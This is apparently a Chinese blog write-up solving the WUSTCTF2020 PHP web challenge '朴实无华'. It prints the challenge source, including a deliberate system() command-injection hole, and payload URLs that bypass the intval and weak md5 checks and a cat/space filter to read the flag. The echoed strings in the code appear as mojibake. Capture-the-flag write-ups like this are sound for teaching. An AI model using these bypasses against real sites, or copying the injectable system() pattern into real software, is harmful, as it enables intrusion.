练[WUSTCTF2020]朴实无华

[WUSTCTF2020]朴实无华

文章目录

      • [WUSTCTF2020]朴实无华
      • 掌握知识
      • 解题思路
        • 代码分析
      • 关键paylaod

练[WUSTCTF2020]朴实无华_第1张图片

掌握知识

​ 目录扫描,抓包放包,代码审计,php函数特性的了解:intval函数,md5特性绕过,RCE一些bypass方法

解题思路

  1. 打开题目链接,发现页面就显示一句hacker,源码也没有hint,但是通过第三兄弟目录扫描得到了robots.txt目录,通过查看,发现给了一个假的flag界面

image-20230930131140407

  1. 通过访问该界面,发现这个界面也没什么内容,提示这不是flag,那意味着flag的内容或许就藏在这个界面中,尝试抓包查看请求和响应包是否隐藏内容。在重放器放包时,发现响应包的/fl4g.php提示

image-20230930131302944

练[WUSTCTF2020]朴实无华_第2张图片

  1. 访问之后发现是一大串代码,分为三个等级,看来是要进行代码审计了,而且还要通过三关才能进行命令执行拿到flag。代码如下
代码分析
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.
"
; }else{ die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�"); } }else{ die("鍘婚潪娲插惂"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.
"
; else die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�"); }else{ die("鍘婚潪娲插惂"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.
"
; system($get_flag); }else{ die("蹇埌闈炴床浜�"); } }else{ die("鍘婚潪娲插惂"); } ?>
  1. 接下来就对每一级代码进行分析,level 1的代码,发现关键在于intval函数,该函数可以利用其特性进行绕过。根据菜鸟教程给的实例,发现字母可以阻断函数的识别,只会输出字母之前的内容,所以前面的判断很容易绕过。后面的判断不妨可以自己测试一下,带有e的科学计数法形式的字符串,很多都可以通过这个判断,但是php的环境必须为7.0以下,否则字符串会和数字解析为相同的正确的结果。所以构造第一关paylaod:num=2019e10

image-20230930131745561

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.
"
; }else{ die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�"); } }else{ die("鍘婚潪娲插惂"); }
  1. 第二关发现md5加密,很明显会是md5的绕过,发现关键代码为$md5==md5($md5),这个形式的绕过还是很常见的,只要搜索md5绕过就能找到paylaod。绕过的原理就是加密前后都是0e开头的字符串,在php弱比较类型中是相等的。强比较也就是===就不能用了。所以第二关paylaod为:md5=0e215962017
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.
"
; else die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�"); }else{ die("鍘婚潪娲插惂"); }
  1. 来到最后一关,发现使用str_ireplace函数过滤了cat命令,但是查看文件的linux命令还有很多,例如tac less more tail都可以作为替代。在此之前还有一个strstr函数,根据搜索得知该函数会匹配后面的字符串第一次出现位置,返回字符串剩余的部分。所以该!strstr($get_flag," ")函数就是在过滤空格符号。当然RCE进行空格bypass的手段也很多,特殊字符,编码,变量都可以替换。
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.
"
; system($get_flag); }else{ die("蹇埌闈炴床浜�"); } }else{ die("鍘婚潪娲插惂"); }
  1. 通过ls命令发现,flag文件就在当前目录下,只不过这名字有点过于抽象了?num=2019e10&md5=0e215962017&get_flag=ls

image-20230930133436957

  1. 构建最终的paylaod为,成功拿下flag
/fl4g.php?num=2019e10&md5=0e215962017&get_flag=tac

练[WUSTCTF2020]朴实无华_第3张图片

关键paylaod

/fl4g.php?num=2019e10&md5=0e215962017&get_flag=ls

/fl4g.php?num=2019e10&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

你可能感兴趣的:(buuctf刷题,web安全,笔记,网络安全,php)